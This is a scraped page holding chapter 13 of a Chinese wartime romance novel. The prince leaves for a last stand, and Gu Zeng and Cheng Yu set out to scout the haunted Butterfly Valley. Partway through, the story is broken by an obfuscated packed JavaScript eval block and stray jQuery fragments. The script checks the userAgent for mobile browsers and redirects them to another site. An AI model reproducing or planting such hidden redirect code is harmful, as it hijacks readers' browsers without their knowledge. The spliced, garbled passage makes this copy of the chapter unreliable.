默认冷灰
24号文字
方正启体

13.仓皇

作者:雾沉玉本书字数:K更新时间:
    花雨闲气极反笑:“殿下这是做什么,托孤么?”


    姜祐珣微微一拜:“他们两个拼死传递情报,不该和扶苍军一同长眠此地,还请先生照顾好他们,保他们安然无恙。”


    他这话不说则以,一说出来,顾曾登时不干了,反身挣开他的手,喝道:“姜旬,你要做什么?和楚人打到死么?”


    姜祐珣看向身后,温润的眸中倏然升起凛凛杀意,冷冷道:“生死有命,两权之下,我还是更想要楚人有来无回。”


    他倏地抬眼一笑,在自己脸颊上轻轻刮了刮:“我们这些做将军的可丢不起临阵脱逃这个脸,你说对么?”


    顾曾一点也笑不出来,但无言辩驳。“将军”二字有千斤重,一直压在他们肩上,时常令人喘不来气。


    她最清楚宸王是如何一步步走到现在的,他十二岁请缨西北,从谁也不听他的光杆将军变成如今说一不二的护国柱石,其间辛酸,旁人不懂,她却最明白。


    她笑不出来,可还是尽力笑道:“姜旬,这么多年才见你一次,可别就这么轻易死了,不然我可是要瞧不起你。”


    姜祐珣接过侍卫递来的马缰,翻身上马,笑道:“还没看咱们顾大将军扬名四海、纵横九州,我就是死也难以瞑目呐。”


    “……”顾曾瞪他一眼,心道,“说了还不如不说。”


    姜祐珣纵马而去,忽然又回首浅浅一笑,神采飞扬,清澈明朗:“所以,小鬼,本王答应你,不会死的——”


    西北三军近乎所有人,栉风沐雨十余载,卧雪眠霜不归乡。


    程彧望着宸王远去的背影,快要把嘴唇咬出血来,心中五味杂陈——少年将军,是否就该是这个模样?


    他是第一次,那么、那么的妒忌一个人。


    有的人生长在沙场,天生就有一身的豪气干云,镇日金戈铁马,气吞万里如虎,何等恣意潇洒?再得一人常伴左右,与自己共赴沙场同生死,此身就这样了却,又何尝不可?而不是像他如今这般,活得人不人、鬼不鬼,连渴望那人注视一眼都成了无望的奢求。


    他时常在想,若自己也是个将军就好了,那一定不会输给任何人。


    花雨闲重重叹了口气,没有要管程彧的意思,只扯了扯顾曾:“和我走,你一会儿跟着……”


    “我不去。”顾曾摇头,欠身道,“先生,请准我去蝴蝶谷探路。”


    花雨闲面色一沉:“你别闹。”


    顾曾正色道:“我没闹,我脚力比大部队快,肯定能先你们一步到,就让我进去探一探路,也好过你们在里面乱兜圈子。你别忘了,我可是铸光军的堪舆师。”


    花雨闲没什么耐心:“知道你是了,但这高山密林和你们渭城那大沙漠能相提并论吗?”


    顾曾和他相处的时间不短,知道他是个说不通也不听别人说的犟种,正巧,她也没什么耐心,气鼓鼓地转身便走:“算了,不用你管,先生告辞。”


    花雨闲气得吹胡子瞪眼,但也知道,她这脾气上来了没人能劝动,兴许姜祐珣能说动她一二,奈何宸王殿下现在已经去临场杀敌了,而他自己还要忙着安排撤军之事,哪有功夫全心全意照料她。


    “随你便罢!”花雨闲对她的背影喊道,“切记,死了的话可别回头在梦里找我哭。”


    顾曾没停下脚步:“不劳您费心,要哭也不找你。”


    花雨闲被她噎这一口,心情更差了,连白眼都懒得分给程彧,半个字都没说,径直去寻了手下的百户。


    程彧的脑子大概是被郭翩揉成了一团浆糊,只知周围纷纷扰扰,却有种不知所云又不知所处的茫然,好在有一点他是听懂了的——顾大将军要去那个劳什子的蝴蝶谷探路。


    程二公子即刻放下心底那些不甘与落寞,朝着顾曾的方向跑去:“阿曾,你等等我!我与你同去!”


    已是亥时。


    天上乌云密布,不见繁星,唯有月光撕破阴云一道口子,悄悄漏给山上人一点光亮。


    众所周知,几百里开外有阆州的万家灯火,更亮更诱人,可惜中间有崇山相隔,没人能看见。


    先前牺牲的士卒遗体还未来得及安顿,流着血和泪的战士又提刀奔赴了前线。


    云雾山仿佛成了昭人永远无法迈过的劫数,无数的精兵良将丧命于此,英灵也好,棋子也罢,皆数埋骨青山。


    顾曾一点不客气地钻进姜祐珣的帅帐,拆家式地寻摸了个罗盘,甫一出门,恰好遇到两个兵士正往营边的一个简易木棚挪尸体——他们不忍战友曝尸荒野,开始大规模焚烧尸身。


    那具躯体的主人也许刚咽气不久,嘴唇微启,眼珠涣散,清秀面容上的血迹已成黑色。他的胸口上仍有十余支箭簇未来得及拔下,腰上粘连半挂着一把狰狞的狼刀,清瘦的身躯几乎被斩为两半。


    这是个年轻人,是那种家里人还会为他年纪轻轻就加入了前途无量的宸王麾下而骄傲的……那么年轻的一个少年。


    随意搭就的木棚中,彼时鲜活的生命化作幽幽青烟,化作一抔白灰,重归于山川。


    在军中这么多年,顾曾并非第一次见到此情此景,可每一次见到,都仿佛重回第一次。


    那时,她爹捂着她眼睛,不断重复着一句话:“囡囡,没事的,没事的……”可他自己说着说着却掉下泪来。


    她透过老爹的指缝,看着裹着白布的娘亲与其他人一起消失在扑天大火中。从那之后,她再想见娘亲,就只能仰头看星星了。


    这一夜,兵荒马乱,星月明灭,所有人都仓皇地做着归乡的梦。


    顾曾双手合十低声念了句什么,用手随意抹了把脸,便转过了视线,脚步再也不停留。


    她足下生风,如飞燕一般越过防御工事,朝蝴蝶谷的方向狂奔,胸中卯了好长好长一口气呼不出,只能靠一刻不停的前行来抚平心绪,似乎只要在奔跑,她便能忘记故人的脸。


    程彧不管不顾跟在她身后,累得气喘吁吁,可他不敢放她一人独行,咬着牙也跟得死死的。


    二人一前一后走了很长一段,直到身后嘈杂的战场已逐渐模糊,顾曾终于回过身来,青白分明地瞪他一眼,喝道:“跟着我干什么,找死么?”


    她胸中躁气翻腾,心道:“难不成真以为自己是来西南出游的么?真是娇生惯养的不知死活。”


    西南险峻,阆州倒还好说,再往深处至这烟瘴丛林中,遍地毒虫猛兽,还有敌人的大军伺机潜伏。天险之中尤以这蝴蝶谷为甚,虽名“蝴蝶”,却一只蝴蝶也生不出,有的只有比人脸还大的蝙蝠。


    相传这里曾有一小村落,村中之人皆习巫蛊之术,被大昭的开国皇帝铁蹄踏平后命案频发,成了不折不扣的凶地。再后来,边境百年动荡,这里便成了两境丢弃尸体的古乱葬岗,直至尸体填满了整座山谷,邪祟频生,这里才渐渐荒废。


    九死一生之地,程彧这种贵公子哥非要跟着她来这里,除了找死,顾曾想不出别的理由。


    她的脸色黑得像一滩浓墨,冷冷道:“你从北面下山,祭出你装疯卖傻的绝活,装作误打误撞什么都不知道,安宁军看在你爷爷的面子上不会为难你的。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203469|165471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>程彧一怔,神色萎顿:“阿曾,这话骗谁谁能信?你就这般嫌弃我,要我去送死么?”


    “快走,别跟着我。”顾曾连反驳的心思都没有,只一味催促。她心乱如麻的同时还得保持住自己这视死如归的决心,没多大闲心陪他在这耗。


    “阿曾你……”程彧喉头滚动,滞住了,只轻轻哂了一声,垂下眼来,“你就这般不愿见到我么?如果是宸王殿下跟着你,你也会厌烦么?”


    他没有蹙眉,睫毛铺开来的一片阴翳遮得眼底云深雾绕的,第一次露出了教人看不真切的神情。


    顾曾不知怎得,竟觉他这样子有些灼人,心里像被根细针扎了般,燃起一阵若有若无的疼。


    她是将军,程彧却不是兵,那他便是她拼了命也得护着的人。她这般撒气在他头上,便和欺压百姓的恶霸一样,惹人鄙夷。


    程彧缓缓开口,鼻尖眼尾皆有一抹嫣红:“那花先生对我什么样子你没看到么?所有人都厌恶我,包括你……其实我根本无路可去,如今连你也不再收留我,我这便去自生自灭好了。”


    顾曾在旁边像根木头一样立着,生平第一次需要她哄别人,有些手足无措。


    念在此人千里迢迢前来传旨没有功劳也有苦劳的份上,她终究还是心软了,抬手招呼他:“罢了,有你在也好,有个人照应。”


    “当真?”程二公子登时没心没肺地欢呼一声,先前那点细碎的泪花还没出生就夭折在他大大的露齿笑中。


    “……”顾曾为自己的一时冲动而感到十分后悔,但话都放出去了,总不能出尔反尔。


    她偏了偏头,示意程彧走到自己身侧。


    二人一直沉默无言走了不知多久,程二公子倒不似想象中的那么金贵,丝毫未落下风。


    此时的密林鲜见雪松,狭窄小径两侧尽是黑压压的榕槐,像堵不透风的高墙,压得人喘不过气来。


    越往里走,越觉得要被这鬼打墙一样的林子吸入腹中。顾曾喊了停,掏出罗盘在掌心拨弄。


    程彧见她面色凝重,手下也愈发焦躁,温言道:“阿曾,当局者迷,切忌一叶障目。未知之事你少想,只需走好当下的路。”


    顾曾握拳敲了两下自己的额头,已是无比的烦躁,掀他一个白眼道:“当下无路可走,睿智的二公子请说该怎么办?”


    言下之意,请他少站着说话不腰疼。


    她蹲下身来,借着残存的月色开始在地上写写画画。罗盘不顶用,指针一刻不停地乱转,片刻不安稳,他们怕是已经走到蝴蝶谷的地界了。


    这里是一座天然的五行八卦阵,不得生门,寻不出路。


    顾曾心知肚明,是内心那点微末的恐惧令她如此不安,可她几乎是下意识地不停去想:当年她爹身旁那么多精于奇门遁甲之术的能人异士,还不是折在了这里,如今她身边可只有一个半吊子程彧,能行吗?


    她又想了想自己对花雨闲夸下的海口,定了定心神——不行也得行!


    入夜后的寒气仿佛要侵蚀进五脏六腑,叱咤风云的顾将军蹲在地上也不过就是小小一团,冻得直打哆嗦,好在她忙活了许久终于有了些眉目。


    此时,程彧却蓦地攥住了她的手腕,手上一用力,即刻把她拽起身来。


    顾曾脸上一阵掩也掩不住的愠怒:“程容与,你又做什么?”


    程彧的掌心温热,对她咧嘴笑笑,往一侧偏头:“阿曾,往这边走,这边有山风。”


    顾曾暗暗纳罕,他指的不就是她刚刚猜测的生门的方向么?这小子,难不成天赋异禀?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)